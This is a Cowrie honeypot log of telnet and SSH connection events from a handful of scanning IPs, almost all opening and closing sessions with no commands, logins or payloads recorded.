{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"7448c4d32c5c","protocol":"telnet","message":"New connection: 104.36.149.175:53698 (10.17.0.5:23) [session: 7448c4d32c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:05.278407Z"}
{"eventid":"cowrie.session.closed","duration":34.26567530632019,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:13.942337Z","src_ip":"104.245.105.2","session":"c20fc1d238d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67213487625122,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:17.806111Z","src_ip":"104.36.149.175","session":"7990661cd63b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49694,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e51c276fa8c","protocol":"telnet","message":"New connection: 104.245.105.2:49694 (10.17.0.5:23) [session: 2e51c276fa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:18.495703Z"}
{"eventid":"cowrie.session.closed","duration":30.43207597732544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:19.479411Z","src_ip":"104.36.149.175","session":"6ce23acd3841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"667cae0088f0","protocol":"telnet","message":"New connection: 104.36.149.175:59158 (10.17.0.5:23) [session: 667cae0088f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:23.779812Z"}
{"eventid":"cowrie.session.closed","duration":31.386807918548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:24.683682Z","src_ip":"104.36.149.175","session":"5747c29d0281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c756e0daaf01","protocol":"telnet","message":"New connection: 104.245.105.2:54864 (10.17.0.5:23) [session: c756e0daaf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:36.238171Z"}
{"eventid":"cowrie.session.closed","duration":31.21903419494629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:36.497282Z","src_ip":"104.36.149.175","session":"7448c4d32c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8208656311035156,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:38.058950Z","src_ip":"104.245.105.2","session":"c756e0daaf01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":35352,"dst_ip":"10.17.0.5","dst_port":23,"session":"687dd25e56c9","protocol":"telnet","message":"New connection: 104.36.149.175:35352 (10.17.0.5:23) [session: 687dd25e56c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:38.680904Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":35656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b247f990adfd","protocol":"telnet","message":"New connection: 104.36.149.175:35656 (10.17.0.5:23) [session: b247f990adfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:39.900681Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":36964,"dst_ip":"10.17.0.5","dst_port":23,"session":"adcb13d4b4dc","protocol":"telnet","message":"New connection: 104.36.149.175:36964 (10.17.0.5:23) [session: adcb13d4b4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:45.431469Z"}
{"eventid":"cowrie.session.closed","duration":31.41521406173706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:49.910778Z","src_ip":"104.245.105.2","session":"2e51c276fa8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":39070,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2b7eef5620","protocol":"telnet","message":"New connection: 104.36.149.175:39070 (10.17.0.5:23) [session: 8b2b7eef5620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:53.605139Z"}
{"eventid":"cowrie.session.closed","duration":30.704138040542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:54.483829Z","src_ip":"104.36.149.175","session":"667cae0088f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":39662,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afb0497af47","protocol":"telnet","message":"New connection: 104.36.149.175:39662 (10.17.0.5:23) [session: 7afb0497af47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:55.212517Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fbb96da69f5","protocol":"telnet","message":"New connection: 104.36.149.175:40494 (10.17.0.5:23) [session: 0fbb96da69f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:58.608667Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd35dabed40","protocol":"telnet","message":"New connection: 104.36.149.175:40510 (10.17.0.5:23) [session: 6dd35dabed40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:50:58.634191Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":41014,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a15578af24","protocol":"telnet","message":"New connection: 104.36.149.175:41014 (10.17.0.5:23) [session: c7a15578af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:00.479042Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":41156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9402915b57e","protocol":"telnet","message":"New connection: 104.36.149.175:41156 (10.17.0.5:23) [session: d9402915b57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:01.073322Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56252,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8879f1d6329","protocol":"telnet","message":"New connection: 104.245.105.2:56252 (10.17.0.5:23) [session: b8879f1d6329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:07.409935Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":42200,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7e48015253","protocol":"telnet","message":"New connection: 104.36.149.175:42200 (10.17.0.5:23) [session: 7c7e48015253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:08.837810Z"}
{"eventid":"cowrie.session.closed","duration":31.242943286895752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:09.923764Z","src_ip":"104.36.149.175","session":"687dd25e56c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472424030303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:10.373010Z","src_ip":"104.36.149.175","session":"b247f990adfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":44078,"dst_ip":"10.17.0.5","dst_port":23,"session":"68564719718f","protocol":"telnet","message":"New connection: 104.36.149.175:44078 (10.17.0.5:23) [session: 68564719718f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:14.104800Z"}
{"eventid":"cowrie.session.closed","duration":31.161774158477783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:16.593084Z","src_ip":"104.36.149.175","session":"adcb13d4b4dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642605304718018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:25.247609Z","src_ip":"104.36.149.175","session":"8b2b7eef5620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":47780,"dst_ip":"10.17.0.5","dst_port":23,"session":"54ad4896c6d3","protocol":"telnet","message":"New connection: 104.36.149.175:47780 (10.17.0.5:23) [session: 54ad4896c6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:25.812810Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca14838529c","protocol":"telnet","message":"New connection: 104.36.149.175:47824 (10.17.0.5:23) [session: 1ca14838529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:25.951408Z"}
{"eventid":"cowrie.session.closed","duration":31.38878607749939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:26.601209Z","src_ip":"104.36.149.175","session":"7afb0497af47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92181158065796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:29.555924Z","src_ip":"104.36.149.175","session":"6dd35dabed40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95267105102539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:29.561234Z","src_ip":"104.36.149.175","session":"0fbb96da69f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.268587350845337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:31.341820Z","src_ip":"104.36.149.175","session":"d9402915b57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00065279006958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:31.479558Z","src_ip":"104.36.149.175","session":"c7a15578af24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":49376,"dst_ip":"10.17.0.5","dst_port":23,"session":"800c6ce97519","protocol":"telnet","message":"New connection: 104.36.149.175:49376 (10.17.0.5:23) [session: 800c6ce97519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:32.666482Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":49988,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a9dba484ea","protocol":"telnet","message":"New connection: 104.36.149.175:49988 (10.17.0.5:23) [session: b6a9dba484ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:33.792280Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59480,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbee7a0a8133","protocol":"telnet","message":"New connection: 104.245.105.2:59480 (10.17.0.5:23) [session: bbee7a0a8133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:36.089898Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":50698,"dst_ip":"10.17.0.5","dst_port":23,"session":"74029ae3f717","protocol":"telnet","message":"New connection: 104.36.149.175:50698 (10.17.0.5:23) [session: 74029ae3f717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:36.721717Z"}
{"eventid":"cowrie.session.closed","duration":30.888089418411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:39.725788Z","src_ip":"104.36.149.175","session":"7c7e48015253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3770489692688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:39.786861Z","src_ip":"104.245.105.2","session":"b8879f1d6329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285480260849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:44.390178Z","src_ip":"104.36.149.175","session":"68564719718f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":54590,"dst_ip":"10.17.0.5","dst_port":23,"session":"d917d1416c9c","protocol":"telnet","message":"New connection: 104.36.149.175:54590 (10.17.0.5:23) [session: d917d1416c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:51.892061Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2479464a83","protocol":"telnet","message":"New connection: 104.36.149.175:54840 (10.17.0.5:23) [session: 3a2479464a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:52.982914Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f95931ff0a","protocol":"telnet","message":"New connection: 104.36.149.175:55626 (10.17.0.5:23) [session: f5f95931ff0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:54.999499Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":55772,"dst_ip":"10.17.0.5","dst_port":23,"session":"56d77655468a","protocol":"telnet","message":"New connection: 104.36.149.175:55772 (10.17.0.5:23) [session: 56d77655468a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:55.491968Z"}
{"eventid":"cowrie.session.closed","duration":30.490368843078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:56.441653Z","src_ip":"104.36.149.175","session":"1ca14838529c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81062364578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:56.623334Z","src_ip":"104.36.149.175","session":"54ad4896c6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":56692,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8916b26ad1","protocol":"telnet","message":"New connection: 104.36.149.175:56692 (10.17.0.5:23) [session: 9a8916b26ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:51:58.787333Z"}
{"eventid":"cowrie.session.closed","duration":30.792773723602295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:03.459169Z","src_ip":"104.36.149.175","session":"800c6ce97519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664705276489258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:04.456859Z","src_ip":"104.36.149.175","session":"b6a9dba484ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65745449066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:07.379075Z","src_ip":"104.36.149.175","session":"74029ae3f717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71752429008484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:12.807294Z","src_ip":"104.245.105.2","session":"bbee7a0a8133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":32988,"dst_ip":"10.17.0.5","dst_port":23,"session":"c938c2983d9e","protocol":"telnet","message":"New connection: 104.36.149.175:32988 (10.17.0.5:23) [session: c938c2983d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:15.671076Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c1e8eb22605","protocol":"telnet","message":"New connection: 104.36.149.175:33390 (10.17.0.5:23) [session: 7c1e8eb22605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:17.120667Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f56bac34ac","protocol":"telnet","message":"New connection: 104.36.149.175:33588 (10.17.0.5:23) [session: 14f56bac34ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:18.037542Z"}
{"eventid":"cowrie.session.closed","duration":30.64234757423401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:22.534226Z","src_ip":"104.36.149.175","session":"d917d1416c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443219900131226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:23.426025Z","src_ip":"104.36.149.175","session":"3a2479464a83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.478492975234985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:25.477854Z","src_ip":"104.36.149.175","session":"f5f95931ff0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64222550392151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:27.134054Z","src_ip":"104.36.149.175","session":"56d77655468a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257251501083374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:30.044480Z","src_ip":"104.36.149.175","session":"9a8916b26ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":36772,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c90d1f95fa1","protocol":"telnet","message":"New connection: 104.36.149.175:36772 (10.17.0.5:23) [session: 9c90d1f95fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:31.987845Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":38354,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c98494d5b19","protocol":"telnet","message":"New connection: 104.36.149.175:38354 (10.17.0.5:23) [session: 1c98494d5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:41.319884Z"}
{"eventid":"cowrie.session.closed","duration":30.66213893890381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:46.333037Z","src_ip":"104.36.149.175","session":"c938c2983d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263768672943115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:47.384343Z","src_ip":"104.36.149.175","session":"7c1e8eb22605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35330557823181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:48.390719Z","src_ip":"104.36.149.175","session":"14f56bac34ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":40960,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a13e4a2282e","protocol":"telnet","message":"New connection: 104.36.149.175:40960 (10.17.0.5:23) [session: 1a13e4a2282e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:49.197925Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":50190,"dst_ip":"159.203.135.109","dst_port":22,"session":"92bfa1fdb453","protocol":"ssh","message":"New connection: 103.149.252.223:50190 (159.203.135.109:22) [session: 92bfa1fdb453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:52.122589Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:52.126936Z","src_ip":"103.149.252.223","session":"92bfa1fdb453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:52:52.129680Z","src_ip":"103.149.252.223","session":"92bfa1fdb453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":43740,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c7fd02489b","protocol":"telnet","message":"New connection: 104.36.149.175:43740 (10.17.0.5:23) [session: 79c7fd02489b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:00.708737Z"}
{"eventid":"cowrie.session.closed","duration":30.58727240562439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:02.575022Z","src_ip":"104.36.149.175","session":"9c90d1f95fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":45090,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6d67eea047","protocol":"telnet","message":"New connection: 104.36.149.175:45090 (10.17.0.5:23) [session: 0a6d67eea047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:05.407632Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":45520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ad48f2d4e6","protocol":"telnet","message":"New connection: 104.36.149.175:45520 (10.17.0.5:23) [session: c0ad48f2d4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:07.177908Z"}
{"eventid":"cowrie.session.closed","duration":31.52130651473999,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:12.841105Z","src_ip":"104.36.149.175","session":"1c98494d5b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":47156,"dst_ip":"10.17.0.5","dst_port":23,"session":"b365d32f5ebe","protocol":"telnet","message":"New connection: 104.36.149.175:47156 (10.17.0.5:23) [session: b365d32f5ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:13.180630Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":47704,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6b897d326f","protocol":"telnet","message":"New connection: 104.36.149.175:47704 (10.17.0.5:23) [session: ac6b897d326f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:15.858540Z"}
{"eventid":"cowrie.session.closed","duration":30.517873287200928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:19.715700Z","src_ip":"104.36.149.175","session":"1a13e4a2282e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"902d1ee45472","protocol":"telnet","message":"New connection: 104.36.149.175:48684 (10.17.0.5:23) [session: 902d1ee45472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:21.287212Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"d71baa0617d1","protocol":"telnet","message":"New connection: 104.245.105.2:37886 (10.17.0.5:23) [session: d71baa0617d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:29.026668Z"}
{"eventid":"cowrie.session.closed","duration":30.774044036865234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:53:31.482669Z","src_ip":"104.36.149.175","session":"79c7fd02489b","protocol":"telnet"}
